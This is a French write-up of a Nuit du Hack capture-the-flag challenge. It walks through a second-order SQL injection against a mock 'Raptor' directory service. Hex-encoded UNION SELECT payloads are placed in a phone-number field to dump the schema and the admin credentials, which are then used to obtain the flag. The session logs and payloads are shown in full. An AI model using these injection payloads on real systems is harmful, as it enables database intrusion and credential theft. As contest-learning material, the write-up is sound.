Misc 400 points http://quals.nuitduhack.com/challenges/view/12
Aucun énoncé, aucune précision ; seul un lien est présent : raptor.challs.nuitduhack.com:4142
Connectons-nous :
[plo@hyperion Misc]$ nc raptor.challs.nuitduhack.com 4142 ~ » Welcome to the Raptor/1.0 Information Exchange Server ~ » You are anonymous - Read only access ! Available commands : +----------+-----------------+-------------------------------+--------------------------------+ | Command | Required Access | Syntax | Help | +----------+-----------------+-------------------------------+--------------------------------+ | AUTH | guest | AUTH [login] [password] | Connect to an account | | LIST | user | LIST [maxrecords] | List users informations | | SEARCH | user | SEARCH [pattern] [maxresults] | Search an user | | RSHELL | admin | RSHELL | Migrate to Raptor Shell | | VERSION | guest | VERSION | Show current Raptor version | | REGISTER | guest | REGISTER | Register a new account | | HELP | guest | VERSION | Show this help menu | | RIGHTS | guest | RIGHTS | Print your current rights | | HISTORY | user | HISTORY | Show your call history | | RESET | guest | RESET | ROLLBACK ! (Reset the CTF DB.) | | QUIT | guest | QUIT | Close the connection. | +----------+-----------------+-------------------------------+--------------------------------+ guest ~ $
On se retrouve connecté au service Raptor en anonyme/guest.
La sortie affichée semble être issue d'une base de données ; une requête SQL SELECT pourrait nous retourner cet affichage…
Raptor gère trois droits : guest/user/admin
et une seule commande nécessite le droit admin : RSHELL
.
On joue avec toutes les commandes et on s'aperçoit que :
guest ~ $ SEARCH % +-----------+---------------+-----------+--------+ | FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS | +-----------+---------------+-----------+--------+ | Wesley | Eshmaggle | 4412 | admin | | Yvan | Delacam | 0452 | user | | Yvon | Payrir | A | user | | Zlatan | Ibrahimovitch | 5122 | user | +-----------+---------------+-----------+--------+ guest ~ $ SEARCH _ +-----------+---------------+-----------+--------+ | FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS | +-----------+---------------+-----------+--------+ | Wesley | Eshmaggle | 4412 | admin | | Yvan | Delacam | 0452 | user | | Yvon | Payrir | A | user | | Zlatan | Ibrahimovitch | 5122 | user | +-----------+---------------+-----------+--------+
Toutes les entrées utilisateurs sont affichées : les caractères _
et %
sont des wildcards SQL, notamment utilisés par l'opérateur LIKE. Ca confirme la supposition du SQL derrière Raptor.
Une information nous saute aux yeux, l'utilisateur Yvon Payrir
possède A
comme numéro de téléphone !
Ca ne semble pas logique, tentons de créer un utilisateur :
guest ~ $ REGISTER Please fill the informations below : Login : a Firstname : a Lastname : a Contact (DESK PHONE) : TEST /!\ ERROR ! INVALID DESKPHONE NUMBER !
Raté, pourtant ça doit être possible ! Persévérons et essayons “TEST” en hexadécimal :
guest ~ $ REGISTER Please fill the informations below : Login : a Firstname : a Lastname : a Contact (DESK PHONE) : 0x54455354 Password : zenk Encrypting using 128x(ROT13) ......HAAAAAAAAX...... Password encryption done ! (Security First) ! guest ~ $ SEARCH % +-----------+---------------+-----------+--------+ | FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS | +-----------+---------------+-----------+--------+ | a | a | TEST | user | | Wesley | Eshmaggle | 4412 | admin | | Yvan | Delacam | 0452 | user | | Yvon | Payrir | A | user | | Zlatan | Ibrahimovitch | 5122 | user | +-----------+---------------+-----------+--------+
Bingo ! On peut injecter ce que l'on souhaite dans le champ DESKPHONE
! Bon, ne nous réjouissons pas trop vite, on en fait quoi ? Peut-on exploiter cette faiblesse pour une injection SQL ?
Dans les commandes à notre disposition, on a HISTORY
:
| HISTORY | user | HISTORY | Show your call history |
Cette commande permet de lister l'historique de nos appels téléphoniques, ça tombe bien puisque c'est dans DESKPHONE
qu'on peut injecter des données :
a ~ $ HISTORY RAPTOR CALL REPORTING - CLIENT INFO : +-----------+------+ | USERNAME | a | | RIGHTS | user | | DESKPHONE | TEST | +-----------+------+
Après quelques tests, il s'avère qu'on a effectivement affaire à une “traditionnelle” SQLi où il faut encoder notre injection en hexadécimal dans le champ DESKPHONE
:
Login : d Firstname : d Lastname : d Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354207461626c655f736368656d612c7461626c655f6e616d652c636f6c756d6e5f6e616d652c6e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73 Password : zenk Encrypting using 128x(ROT13) ......HAAAAAAAAX...... Password encryption done ! (Security First) !
d ~ $ HISTORY RAPTOR CALL REPORTING - CLIENT INFO : +-----------+-----------------------------------------------------------------------------------------+ | USERNAME | d | | RIGHTS | user | | DESKPHONE | 1 UNION SELECT table_schema,table_name,column_name,null FROM information_schema.columns | +-----------+-----------------------------------------------------------------------------------------+ - CALL HISTORY +--------------------+---------------------------------------+----------------------------------+----------+ | ID | DATE | DESTINATION | DURATION | +--------------------+---------------------------------------+----------------------------------+----------+ | information_schema | CHARACTER_SETS | CHARACTER_SET_NAME | None | | [...] | [...] | [...] | None | | x_8816665166 | users | id | None | | x_8816665166 | users | firstname | None | | x_8816665166 | users | name | None | | x_8816665166 | users | contact | None | | x_8816665166 | users | password | None | | x_8816665166 | users | login | None | | x_8816665166 | users | rights | None | +--------------------+---------------------------------------+----------------------------------+----------+
Dumpons le mot de passe de l'admin :
guest ~ $ REGISTER Please fill the informations below : Login : i Firstname : i Lastname : i Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354206c6f67696e2c70617373776f72642c7269676874732c6e756c6c2046524f4d207573657273205748455245207269676874733d2761646d696e27 Password : i Encrypting using 128x(ROT13) ......HAAAAAAAAX...... Password encryption done ! (Security First) !
i ~ $ HISTORY RAPTOR CALL REPORTING - CLIENT INFO : +-----------+---------------------------------------------------------------------------+ | USERNAME | i | | RIGHTS | user | | DESKPHONE | 1 UNION SELECT login,password,rights,null FROM users WHERE rights='admin' | +-----------+---------------------------------------------------------------------------+ - CALL HISTORY +-------------+------------+-------------+----------+ | ID | DATE | DESTINATION | DURATION | +-------------+------------+-------------+----------+ | w.eshmaggle | Hanlbatard | admin | None | +-------------+------------+-------------+----------+
Bingo, on a le mot de passe, on s'authentifie :
guest ~ $ AUTH w.eshmaggle Hanlbatard Welcome w.eshmaggle ! w.eshmaggle ~ $ RSHELL Ok, ok good job. You are admin... The flag is : 0eb80d9c2cdee95b461cf0b70d40791f
On obtient le flag et on valide l'épreuve \o/